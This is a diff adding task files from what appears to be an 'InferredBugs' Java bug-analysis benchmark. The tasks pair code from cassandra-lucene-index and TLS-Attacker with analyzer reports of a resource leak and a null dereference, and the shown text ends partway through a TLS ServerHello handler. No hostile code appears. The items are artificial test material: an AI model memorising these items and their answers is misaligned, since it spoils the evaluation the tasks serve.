+        assertTrue(defaultAnalyzer instanceof EnglishAnalyzer);
+
+        ColumnMapper idMapper = schema.getMapper("id");
+        assertEquals(ColumnMapperInteger.class, idMapper.getClass());
+
+        ColumnMapper spanishMapper = schema.getMapper("spanish_text");
+        assertTrue(spanishMapper instanceof ColumnMapperText);
+        assertEquals(SpanishAnalyzer.class.getName(), spanishMapper.getAnalyzer());
+
+        ColumnMapper snowballMapper = schema.getMapper("snowball_text");
+        assertTrue(snowballMapper instanceof ColumnMapperText);
+        assertEquals(EnglishAnalyzer.class.getName(), snowballMapper.getAnalyzer());
+
+        schema.close();
+    }
+
+    @Test
+    public void testParseJSONWithNullDefaultAnalyzer() throws IOException {
+
+        String json = "{" +
+                      "  analyzers:{" +
+                      "    spanish_analyzer : {" +
+                      "      type:\"classpath\", " +
+                      "      class:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_analyzer : {" +
+                      "      type:\"snowball\", " +
+                      "      language:\"Spanish\", " +
+                      "      stopwords : \"el,la,lo,lo,as,las,a,ante,con,contra\"}" +
+                      "  }," +
+                      "  fields : { id : {type : \"integer\"} }" +
+                      " }'";
+
+        Schema schema = JsonSerializer.fromString(json, Schema.class);
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertEquals(PreBuiltAnalyzers.DEFAULT.get(), defaultAnalyzer);
+
+        Analyzer spanishAnalyzer = schema.getAnalyzer("spanish_analyzer");
+        assertTrue(spanishAnalyzer instanceof SpanishAnalyzer);
+
+        schema.close();
+    }
+
+    @Test(expected = JsonMappingException.class)
+    public void testParseJSONWithFailingDefaultAnalyzer() throws IOException {
+        String json = "{default_analyzer : \"xyz\", fields : { id : {type : \"integer\"} } }'";
+        JsonSerializer.fromString(json, Schema.class);
+    }
+
+    @Test
+    public void testAddColumns() {
+
+        ColumnMapperBuilder columnMapper1 = new ColumnMapperStringBuilder();
+        ColumnMapperBuilder columnMapper2 = new ColumnMapperIntegerBuilder();
+
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        columnMappers.put("field1", columnMapper1);
+        columnMappers.put("field2", columnMapper2);
+
+        Schema schema = new Schema(columnMappers, null, null);
+
+        Columns columns = new Columns().add(Column.fromComposed("field1", "value", UTF8Type.instance, false))
+                                       .add(Column.fromComposed("field2", 1L, LongType.instance, false));
+
+        Document document = new Document();
+        schema.addFields(document, columns);
+        assertEquals(4, document.getFields().size());
+        assertEquals(2, document.getFields("field1").length);
+        assertEquals(2, document.getFields("field2").length);
+
+        schema.close();
+    }
+
+    @Test
+    public void testValidate() throws InvalidRequestException, ConfigurationException {
+
+        List<ColumnDef> columnDefinitions = new ArrayList<>();
+        columnDefinitions.add(new ColumnDef(ByteBufferUtil.bytes("field1"),
+                                            UTF8Type.class.getCanonicalName()).setIndex_name("field1")
+                                                                              .setIndex_type(IndexType.KEYS));
+
+        columnDefinitions.add(new ColumnDef(ByteBufferUtil.bytes("field2"),
+                                            IntegerType.class.getCanonicalName()).setIndex_name("field2")
+                                                                                 .setIndex_type(IndexType.KEYS));
+        CfDef cfDef = new CfDef().setDefault_validation_class(AsciiType.class.getCanonicalName())
+                                 .setColumn_metadata(columnDefinitions)
+                                 .setKeyspace("Keyspace1")
+                                 .setName("Standard1");
+        CFMetaData metadata = CFMetaData.fromThrift(cfDef);
+
+        ColumnMapperBuilder columnMapper1 = new ColumnMapperStringBuilder();
+        ColumnMapperBuilder columnMapper2 = new ColumnMapperIntegerBuilder();
+
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        columnMappers.put("field1", columnMapper1);
+        columnMappers.put("field2", columnMapper2);
+
+        Schema schema = new Schema(columnMappers, null, null);
+        schema.validate(metadata);
+    }
+
+    @Test
+    public void testToString() {
+
+        ColumnMapperBuilder columnMapper1 = new ColumnMapperStringBuilder();
+        ColumnMapperBuilder columnMapper2 = new ColumnMapperIntegerBuilder();
+
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        columnMappers.put("field1", columnMapper1);
+        columnMappers.put("field2", columnMapper2);
+
+        Schema schema = new Schema(columnMappers, null, null);
+        assertNotNull(schema.toString());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.lucene.analysis.miscellaneous.PerFieldAnalyzerWrapper` acquired by call to `Schema(...)` at line 304 is not released after line 305.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SchemaTest.testToString()
+
+### Procedure Id:
+com.stratio.cassandra.lucene.schema.SchemaTest.testToString():void.7aab73bb822f2b30ed85bf87d52b3402
+
+### File:
+src/test/java/com/stratio/cassandra/lucene/schema/SchemaTest.java
+
+### Key:
+SchemaTest.java|testToString|RESOURCE_LEAK
+
+### Node Key:
+42ab969312eb9d1b9b64961488901c68
+
+### Hash:
+dd602430ad39a31b575710a9d2bef19d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7574/instruction.md b/inferredbugs-7574/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9308b6a9228e937155aaa0096d0c4de452cbbe38
--- /dev/null
+++ b/inferredbugs-7574/instruction.md
@@ -0,0 +1,354 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cassandra-lucene-index
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015, Stratio.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.stratio.cassandra.lucene.schema;
+
+import com.stratio.cassandra.lucene.IndexException;
+import com.stratio.cassandra.lucene.schema.analysis.PreBuiltAnalyzers;
+import com.stratio.cassandra.lucene.schema.analysis.SnowballAnalyzerBuilder.SnowballAnalyzer;
+import com.stratio.cassandra.lucene.schema.mapping.*;
+import org.apache.lucene.analysis.Analyzer;
+import org.apache.lucene.analysis.en.EnglishAnalyzer;
+import org.apache.lucene.analysis.es.SpanishAnalyzer;
+import org.junit.Test;
+
+import java.io.IOException;
+
+import static com.stratio.cassandra.lucene.schema.SchemaBuilders.*;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * @author Andres de la Pena {@literal <adelapena@stratio.com>}
+ */
+public class SchemaBuilderTest {
+
+    @Test
+    public void testBuild() throws Exception {
+        Schema schema = schema().defaultAnalyzer("custom")
+                                .analyzer("custom", classpathAnalyzer("org.apache.lucene.analysis.en.EnglishAnalyzer"))
+                                .analyzer("snowball", snowballAnalyzer("English", "the,at"))
+                                .mapper("big_int", bigIntegerMapper().digits(10))
+                                .mapper("big_dec", bigDecimalMapper().indexed(false).sorted(true))
+                                .mapper("bitemporal", bitemporalMapper("vt_from", "vt_to", "tt_from", "tt_to"))
+                                .mapper("blob", blobMapper())
+                                .mapper("bool", booleanMapper())
+                                .mapper("date", dateMapper())
+                                .mapper("date_range", dateRangeMapper("from", "to"))
+                                .mapper("double", doubleMapper())
+                                .mapper("float", floatMapper())
+                                .mapper("geo", geoPointMapper("lat", "lon"))
+                                .mapper("inet", inetMapper())
+                                .mapper("int", integerMapper().boost(0.3f))
+                                .mapper("long", longMapper())
+                                .mapper("string", stringMapper())
+                                .mapper("text", textMapper())
+                                .mapper("uuid", uuidMapper())
+                                .build();
+        assertEquals("Failed schema building", EnglishAnalyzer.class, schema.getDefaultAnalyzer().getClass());
+        assertEquals("Failed schema building", EnglishAnalyzer.class, schema.getAnalyzer("custom").getClass());
+        assertEquals("Failed schema building", SnowballAnalyzer.class, schema.getAnalyzer("snowball").getClass());
+        assertEquals("Failed schema building", BigIntegerMapper.class, schema.getMapper("big_int").getClass());
+        assertEquals("Failed schema building", BigDecimalMapper.class, schema.getMapper("big_dec").getClass());
+        assertEquals("Failed schema building", BitemporalMapper.class, schema.getMapper("bitemporal").getClass());
+        assertEquals("Failed schema building", BlobMapper.class, schema.getMapper("blob").getClass());
+        assertEquals("Failed schema building", BooleanMapper.class, schema.getMapper("bool").getClass());
+        assertEquals("Failed schema building", DateMapper.class, schema.getMapper("date").getClass());
+        assertEquals("Failed schema building", DateRangeMapper.class, schema.getMapper("date_range").getClass());
+        assertEquals("Failed schema building", DoubleMapper.class, schema.getMapper("double").getClass());
+        assertEquals("Failed schema building", FloatMapper.class, schema.getMapper("float").getClass());
+        assertEquals("Failed schema building", GeoPointMapper.class, schema.getMapper("geo").getClass());
+        assertEquals("Failed schema building", InetMapper.class, schema.getMapper("inet").getClass());
+        assertEquals("Failed schema building", IntegerMapper.class, schema.getMapper("int").getClass());
+        assertEquals("Failed schema building", LongMapper.class, schema.getMapper("long").getClass());
+        assertEquals("Failed schema building", StringMapper.class, schema.getMapper("string").getClass());
+        assertEquals("Failed schema building", TextMapper.class, schema.getMapper("text").getClass());
+        assertEquals("Failed schema building", UUIDMapper.class, schema.getMapper("uuid").getClass());
+    }
+
+    @Test
+    public void testToJson() throws IOException {
+        String json = schema().defaultAnalyzer("custom")
+                              .analyzer("custom", classpathAnalyzer("org.apache.lucene.analysis.en.EnglishAnalyzer"))
+                              .analyzer("snowball", snowballAnalyzer("English", "the,at"))
+                              .mapper("big_int", bigIntegerMapper().digits(10))
+                              .mapper("big_dec", bigDecimalMapper().indexed(false).sorted(true))
+                              .mapper("bitemporal", bitemporalMapper("vtFrom", "vtTo", "ttFrom", "ttTo"))
+                              .mapper("blob", blobMapper())
+                              .mapper("bool", booleanMapper())
+                              .mapper("date", dateMapper())
+                              .mapper("date_range", dateRangeMapper("from", "to"))
+                              .mapper("double", doubleMapper())
+                              .mapper("float", floatMapper())
+                              .mapper("geo", geoPointMapper("lat", "lon"))
+                              .mapper("inet", inetMapper())
+                              .mapper("int", integerMapper().boost(0.3f))
+                              .mapper("long", longMapper())
+                              .mapper("string", stringMapper())
+                              .mapper("text", textMapper())
+                              .mapper("uuid", uuidMapper())
+                              .toJson();
+        String expectedJson = "{default_analyzer:\"custom\"," +
+                              "analyzers:{" +
+                              "custom:{type:\"classpath\",class:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}," +
+                              "snowball:{type:\"snowball\",language:\"English\",stopwords:\"the,at\"}}," +
+                              "fields:" +
+                              "{big_int:{type:\"bigint\",digits:10}," +
+                              "big_dec:{type:\"bigdec\",indexed:false,sorted:true}," +
+                              "bitemporal:{type:\"bitemporal\"," +
+                              "vt_from:\"vtFrom\",vt_to:\"vtTo\",tt_from:\"ttFrom\",tt_to:\"ttTo\"}," +
+                              "blob:{type:\"bytes\"}," +
+                              "bool:{type:\"boolean\"}," +
+                              "date:{type:\"date\"}," +
+                              "date_range:{type:\"date_range\",from:\"from\",to:\"to\"}," +
+                              "double:{type:\"double\"}," +
+                              "float:{type:\"float\"}," +
+                              "geo:{type:\"geo_point\",latitude:\"lat\",longitude:\"lon\"}," +
+                              "inet:{type:\"inet\"}," +
+                              "int:{type:\"integer\",boost:0.3}," +
+                              "long:{type:\"long\"}," +
+                              "string:{type:\"string\"}," +
+                              "text:{type:\"text\"}," +
+                              "uuid:{type:\"uuid\"}}}";
+        assertEquals("Failed schema JSON serialization", expectedJson, json);
+    }
+
+    @Test
+    public void testFromJson() throws IOException {
+        String json = "{analyzers:{" +
+                      "custom:{type:\"classpath\",class:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}," +
+                      "snowball:{type:\"snowball\",language:\"English\",stopwords:\"the,at\"}}," +
+                      "default_analyzer:\"custom\"," +
+                      "fields:" +
+                      "{big_int:{type:\"bigint\",digits:10}," +
+                      "big_dec:{type:\"bigdec\",indexed:false,sorted:true}," +
+                      "bitemporal:{type:\"bitemporal\",vt_from:\"vtFrom\",vt_to:\"vtTo\",tt_from:\"ttFrom\",tt_to:\"ttTo\"}," +
+                      "blob:{type:\"bytes\"}," +
+                      "bool:{type:\"boolean\"}," +
+                      "date:{type:\"date\"}," +
+                      "date_range:{type:\"date_range\",from:\"from\",to:\"to\"}," +
+                      "double:{type:\"double\"}," +
+                      "float:{type:\"float\"}," +
+                      "geo:{type:\"geo_point\",latitude:\"lat\",longitude:\"lon\"}," +
+                      "inet:{type:\"inet\"}," +
+                      "int:{type:\"integer\",boost:0.3}," +
+                      "long:{type:\"long\"}," +
+                      "string:{type:\"string\"}," +
+                      "text:{type:\"text\"}," +
+                      "uuid:{type:\"uuid\"}}}";
+        Schema schema = SchemaBuilder.fromJson(json).build();
+        assertEquals("Failed schema JSON parsing", EnglishAnalyzer.class, schema.getDefaultAnalyzer().getClass());
+        assertEquals("Failed schema JSON parsing", EnglishAnalyzer.class, schema.getAnalyzer("custom").getClass());
+        assertEquals("Failed schema JSON parsing", SnowballAnalyzer.class, schema.getAnalyzer("snowball").getClass());
+        assertEquals("Failed schema JSON parsing", BigIntegerMapper.class, schema.getMapper("big_int").getClass());
+        assertEquals("Failed schema JSON parsing", BigDecimalMapper.class, schema.getMapper("big_dec").getClass());
+        assertEquals("Failed schema JSON parsing", BitemporalMapper.class, schema.getMapper("bitemporal").getClass());
+        assertEquals("Failed schema JSON parsing", BlobMapper.class, schema.getMapper("blob").getClass());
+        assertEquals("Failed schema JSON parsing", BooleanMapper.class, schema.getMapper("bool").getClass());
+        assertEquals("Failed schema JSON parsing", DateMapper.class, schema.getMapper("date").getClass());
+        assertEquals("Failed schema JSON parsing", DateRangeMapper.class, schema.getMapper("date_range").getClass());
+        assertEquals("Failed schema JSON parsing", DoubleMapper.class, schema.getMapper("double").getClass());
+        assertEquals("Failed schema JSON parsing", FloatMapper.class, schema.getMapper("float").getClass());
+        assertEquals("Failed schema JSON parsing", GeoPointMapper.class, schema.getMapper("geo").getClass());
+        assertEquals("Failed schema JSON parsing", InetMapper.class, schema.getMapper("inet").getClass());
+        assertEquals("Failed schema JSON parsing", IntegerMapper.class, schema.getMapper("int").getClass());
+        assertEquals("Failed schema JSON parsing", LongMapper.class, schema.getMapper("long").getClass());
+        assertEquals("Failed schema JSON parsing", StringMapper.class, schema.getMapper("string").getClass());
+        assertEquals("Failed schema JSON parsing", TextMapper.class, schema.getMapper("text").getClass());
+        assertEquals("Failed schema JSON parsing", UUIDMapper.class, schema.getMapper("uuid").getClass());
+    }
+
+    @Test
+    public void testFromJSONWithNullAnalyzers() throws IOException {
+
+        String json = "{" +
+                      "  default_analyzer : \"org.apache.lucene.analysis.en.EnglishAnalyzer\"," +
+                      "  fields : {" +
+                      "    id : {type : \"integer\"}," +
+                      "    spanish_text : {" +
+                      "      type:\"text\", " +
+                      "      analyzer:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_text : {" +
+                      "      type:\"text\", " +
+                      "      analyzer:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}," +
+                      "    default_text : { type:\"text\"}" +
+                      "  }" +
+                      " }'";
+
+        Schema schema = SchemaBuilder.fromJson(json).build();
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertTrue("Expected english analyzer", defaultAnalyzer instanceof EnglishAnalyzer);
+
+        Mapper idMapper = schema.getMapper("id");
+        assertTrue("Expected IntegerMapper", idMapper instanceof IntegerMapper);
+
+        Mapper spanishMapper = schema.getMapper("spanish_text");
+        assertTrue("Expected TextMapper", spanishMapper instanceof TextMapper);
+        assertEquals("Expected spanish analyzer", SpanishAnalyzer.class.getName(), spanishMapper.analyzer);
+
+        Mapper snowballMapper = schema.getMapper("snowball_text");
+        assertTrue("Expected TextMapper", snowballMapper instanceof TextMapper);
+        assertEquals("Expected english analyzer", EnglishAnalyzer.class.getName(), snowballMapper.analyzer);
+
+        Mapper defaultMapper = schema.getMapper("default_text");
+        assertTrue("Expected TextMapper", defaultMapper instanceof TextMapper);
+        assertEquals("Expected english analyzer", EnglishAnalyzer.class.getName(), snowballMapper.analyzer);
+
+        schema.close();
+    }
+
+    @Test
+    public void testFromJSONWithEmptyAnalyzers() throws IOException {
+
+        String json = "{" +
+                      "  analyzers:{}, " +
+                      "  default_analyzer : \"org.apache.lucene.analysis.en.EnglishAnalyzer\"," +
+                      "  fields : {" +
+                      "    id : {type : \"integer\"}," +
+                      "    spanish_text : {type:\"text\", " +
+                      "                    analyzer:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_text : {type:\"text\", " +
+                      "                     analyzer:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}" +
+                      "  }" +
+                      " }'";
+        Schema schema = SchemaBuilder.fromJson(json).build();
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertTrue("Expected EnglishAnalyzer", defaultAnalyzer instanceof EnglishAnalyzer);
+
+        Mapper idMapper = schema.getMapper("id");
+        assertEquals("Expected IntegerMapper", IntegerMapper.class, idMapper.getClass());
+
+        Mapper spanishMapper = schema.getMapper("spanish_text");
+        assertTrue(spanishMapper instanceof TextMapper);
+        assertEquals("Expected SpanishAnalyzer", SpanishAnalyzer.class.getName(), spanishMapper.analyzer);
+
+        Mapper snowballMapper = schema.getMapper("snowball_text");
+        assertTrue(snowballMapper instanceof TextMapper);
+        assertEquals("Expected EnglishAnalyzer", EnglishAnalyzer.class.getName(), snowballMapper.analyzer);
+
+        schema.close();
+    }
+
+    @Test
+    public void testParseJSONWithNullDefaultAnalyzer() throws IOException {
+
+        String json = "{" +
+                      "  analyzers:{" +
+                      "    spanish_analyzer : {" +
+                      "      type:\"classpath\", " +
+                      "      class:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_analyzer : {" +
+                      "      type:\"snowball\", " +
+                      "      language:\"Spanish\", " +
+                      "      stopwords : \"el,la,lo,lo,as,las,a,ante,con,contra\"}" +
+                      "  }," +
+                      "  fields : { id : {type : \"integer\"} }" +
+                      " }'";
+        Schema schema = SchemaBuilder.fromJson(json).build();
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertEquals("Expected default analyzer",
+                     PreBuiltAnalyzers.DEFAULT.get().getClass(),
+                     defaultAnalyzer.getClass());
+
+        Analyzer spanishAnalyzer = schema.getAnalyzer("spanish_analyzer");
+        assertTrue("Expected SpanishAnalyzer", spanishAnalyzer instanceof SpanishAnalyzer);
+
+        schema.close();
+    }
+
+    @Test(expected = IndexException.class)
+    public void testParseJSONWithFailingDefaultAnalyzer() throws IOException {
+        String json = "{default_analyzer : \"xyz\", fields : { id : {type : \"integer\"} } }'";
+        SchemaBuilder.fromJson(json).build();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `schema.getDefaultAnalyzer()` could be null and is dereferenced at line 153.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SchemaBuilderTest.testFromJson()
+
+### Procedure Id:
+com.stratio.cassandra.lucene.schema.SchemaBuilderTest.testFromJson():void.eb6acb956016852d73345f0284821863
+
+### File:
+plugin/src/test/java/com/stratio/cassandra/lucene/schema/SchemaBuilderTest.java
+
+### Key:
+SchemaBuilderTest.java|testFromJson|NULL_DEREFERENCE
+
+### Node Key:
+aa66545b443e053e1949db82c636558b
+
+### Hash:
+0922092f66cd773c5f00935e4902dba0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7580/instruction.md b/inferredbugs-7580/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b388911a1795c2a270f9afc89bd6807e3c96c4bf
--- /dev/null
+++ b/inferredbugs-7580/instruction.md
@@ -0,0 +1,291 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** TLS-Attacker
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * TLS-Attacker - A Modular Penetration Testing Framework for TLS
+ *
+ * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.tlsattacker.tls.protocol.handshake;
+
+import de.rub.nds.tlsattacker.tls.constants.HandshakeByteLength;
+import de.rub.nds.tlsattacker.tls.constants.CipherSuite;
+import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType;
+import de.rub.nds.tlsattacker.tls.constants.ProtocolVersion;
+import de.rub.nds.tlsattacker.tls.exceptions.InvalidMessageTypeException;
+import de.rub.nds.tlsattacker.tls.constants.ExtensionByteLength;
+import de.rub.nds.tlsattacker.tls.constants.ExtensionType;
+import de.rub.nds.tlsattacker.tls.protocol.extension.ExtensionHandler;
+import de.rub.nds.tlsattacker.tls.constants.CompressionMethod;
+import de.rub.nds.tlsattacker.tls.constants.RecordByteLength;
+import de.rub.nds.tlsattacker.tls.exceptions.UnknownCiphersuiteException;
+import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
+import de.rub.nds.tlsattacker.tls.protocol.extension.ExtensionMessage;
+import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
+import de.rub.nds.tlsattacker.util.ArrayConverter;
+import de.rub.nds.tlsattacker.util.RandomHelper;
+import de.rub.nds.tlsattacker.util.Time;
+import java.util.Arrays;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * @author Juraj Somorovsky <juraj.somorovsky@rub.de>
+ * @author Philip Riese <philip.riese@rub.de>
+ */
+public class ServerHelloHandler extends HandshakeMessageHandler<ServerHelloMessage> {
+
+    private static final Logger LOGGER = LogManager.getLogger(ServerHelloMessage.class);
+
+    public ServerHelloHandler(TlsContext tlsContext) {
+	super(tlsContext);
+	this.correctProtocolMessageClass = ServerHelloMessage.class;
+    }
+
+    /**
+     * @param message
+     * @param pointer
+     * @return
+     */
+    @Override
+    public int parseMessageAction(byte[] message, int pointer) {
+	if (message[pointer] != HandshakeMessageType.SERVER_HELLO.getValue()) {
+	    throw new InvalidMessageTypeException("This is not a server hello message");
+	}
+	protocolMessage.setType(message[pointer]);
+
+	int currentPointer = pointer + HandshakeByteLength.MESSAGE_TYPE;
+	int nextPointer = currentPointer + HandshakeByteLength.MESSAGE_TYPE_LENGTH;
+	int length = ArrayConverter.bytesToInt(Arrays.copyOfRange(message, currentPointer, nextPointer));
+	protocolMessage.setLength(length);
+
+	currentPointer = nextPointer;
+	nextPointer = currentPointer + RecordByteLength.PROTOCOL_VERSION;
+	ProtocolVersion serverProtocolVersion = ProtocolVersion.getProtocolVersion(Arrays.copyOfRange(message,
+		currentPointer, nextPointer));
+	protocolMessage.setProtocolVersion(serverProtocolVersion.getValue());
+
+	currentPointer = nextPointer;
+	nextPointer = currentPointer + HandshakeByteLength.UNIX_TIME;
+	byte[] serverUnixTime = Arrays.copyOfRange(message, currentPointer, nextPointer);
+	protocolMessage.setUnixTime(serverUnixTime);
+	// System.out.println(new
+	// Date(ArrayConverter.bytesToLong(serverUnixTime) * 1000));
+
+	currentPointer = nextPointer;
+	nextPointer = currentPointer + HandshakeByteLength.RANDOM;
+	byte[] serverRandom = Arrays.copyOfRange(message, currentPointer, nextPointer);
+	protocolMessage.setRandom(serverRandom);
+
+	tlsContext.setServerRandom(ArrayConverter.concatenate(protocolMessage.getUnixTime().getValue(), protocolMessage
+		.getRandom().getValue()));
+
+	currentPointer = nextPointer;
+	int sessionIdLength = message[currentPointer] & 0xFF;
+	currentPointer = currentPointer + HandshakeByteLength.SESSION_ID_LENGTH;
+	nextPointer = currentPointer + sessionIdLength;
+	byte[] sessionId = Arrays.copyOfRange(message, currentPointer, nextPointer);
+	protocolMessage.setSessionId(sessionId);
+
+	// handle unknown SessionID during Session resumption
+	if (tlsContext.isSessionResumption()
+		&& !(Arrays.equals(tlsContext.getSessionID(), protocolMessage.getSessionId().getValue()))) {
+	    throw new WorkflowExecutionException("Session ID is unknown to the Client");
+	}
+
+	tlsContext.setSessionID(sessionId);
+
+	currentPointer = nextPointer;
+	nextPointer = currentPointer + HandshakeByteLength.CIPHER_SUITE;
+	CipherSuite selectedCipher;
+	try {
+	    selectedCipher = CipherSuite.getCipherSuite(Arrays.copyOfRange(message, currentPointer, nextPointer));
+	} catch (UnknownCiphersuiteException ex) {
+	    LOGGER.error(ex.getLocalizedMessage());
+	    LOGGER.debug(ex.getLocalizedMessage(), ex);
+	    selectedCipher = CipherSuite.TLS_UNKNOWN_CIPHER;
+	}
+	// System.out.println(selectedCipher);
+	protocolMessage.setSelectedCipherSuite(selectedCipher.getByteValue());
+
+	tlsContext.setSelectedCipherSuite(CipherSuite.getCipherSuite(protocolMessage.getSelectedCipherSuite()
+		.getValue()));
+	tlsContext.setProtocolVersion(serverProtocolVersion);
+	tlsContext.initiliazeTlsMessageDigest();
+
+	currentPointer = nextPointer;
+	byte compression = message[currentPointer];
+	currentPointer += HandshakeByteLength.COMPRESSION;
+	protocolMessage.setSelectedCompressionMethod(compression);
+
+	tlsContext.setCompressionMethod(CompressionMethod.getCompressionMethod(protocolMessage
+		.getSelectedCompressionMethod().getValue()));
+
+	if ((currentPointer - pointer) < length) {
+	    currentPointer += ExtensionByteLength.EXTENSIONS;
+	    while ((currentPointer - pointer) < length) {
+		nextPointer = currentPointer + ExtensionByteLength.TYPE;
+		byte[] extensionType = Arrays.copyOfRange(message, currentPointer, nextPointer);
+		// Not implemented/unknown extensions will generate an Exception
+		// ...
+		try {
+		    ExtensionHandler eh = ExtensionType.getExtensionType(extensionType).getExtensionHandler();
+		    currentPointer = eh.parseExtension(message, currentPointer);
+		    protocolMessage.addExtension(eh.getExtensionMessage());
+		} // ... which we catch, then disregard that extension and carry
+		  // on.
+		catch (Exception ex) {
+		    currentPointer = nextPointer;
+		    nextPointer += 2;
+		    currentPointer += ArrayConverter.bytesToInt(Arrays
+			    .copyOfRange(message, currentPointer, nextPointer));
+		    nextPointer += 2;
+		    currentPointer += 2;
+		}
+	    }
+	}
+
+	protocolMessage.setCompleteResultingMessage(Arrays.copyOfRange(message, pointer, currentPointer));
+
+	return currentPointer;
+    }
+
+    @Override
+    public byte[] prepareMessageAction() {
+	protocolMessage.setProtocolVersion(tlsContext.getProtocolVersion().getValue());
+
+	// supporting Session Resumption with Session IDs
+	if (tlsContext.isSessionResumption()) {
+	    protocolMessage.setSessionId(tlsContext.getSessionID());
+	} else {
+	    // since the server cannot handle more than one Client at once a
+	    // static Session-ID is set
+	    protocolMessage.setSessionId(ArrayConverter
+		    .hexStringToByteArray("f727d526b178ecf3218027ccf8bb125d572068220000ba8c0f774ba7de9f5cdb"));
+	    tlsContext.setSessionID(protocolMessage.getSessionId().getValue());
+	}
+	int length = protocolMessage.getSessionId().getValue().length;
+	protocolMessage.setSessionIdLength(length);
+
+	// random handling
+	final long unixTime = Time.getUnixTime();
+	protocolMessage.setUnixTime(ArrayConverter.longToUint32Bytes(unixTime));
+
+	byte[] random = new byte[HandshakeByteLength.RANDOM];
+	RandomHelper.getRandom().nextBytes(random);
+	protocolMessage.setRandom(random);
+
+	tlsContext.setServerRandom(ArrayConverter.concatenate(protocolMessage.getUnixTime().getValue(), protocolMessage
+		.getRandom().getValue()));
+
+	CipherSuite selectedCipherSuite = tlsContext.getSelectedCipherSuite();
+	protocolMessage.setSelectedCipherSuite(selectedCipherSuite.getByteValue());
+	tlsContext.initiliazeTlsMessageDigest();
+
+	CompressionMethod selectedCompressionMethod = tlsContext.getCompressionMethod();
+	protocolMessage.setSelectedCompressionMethod(selectedCompressionMethod.getValue());
+
+	byte[] result = ArrayConverter.concatenate(protocolMessage.getProtocolVersion().getValue(), protocolMessage
+		.getUnixTime().getValue(), protocolMessage.getRandom().getValue(), ArrayConverter.intToBytes(
+		protocolMessage.getSessionIdLength().getValue(), 1), protocolMessage.getSessionId().getValue(),
+		protocolMessage.getSelectedCipherSuite().getValue(), new byte[] { protocolMessage
+			.getSelectedCompressionMethod().getValue() });
+
+	// extensions have to be added to the protocol message before the
+	// workflow trace is generated
+	byte[] extensionBytes = null;
+	for (ExtensionMessage extension : protocolMessage.getExtensions()) {
+	    ExtensionHandler handler = extension.getExtensionHandler();
+	    handler.initializeClientHelloExtension(extension);
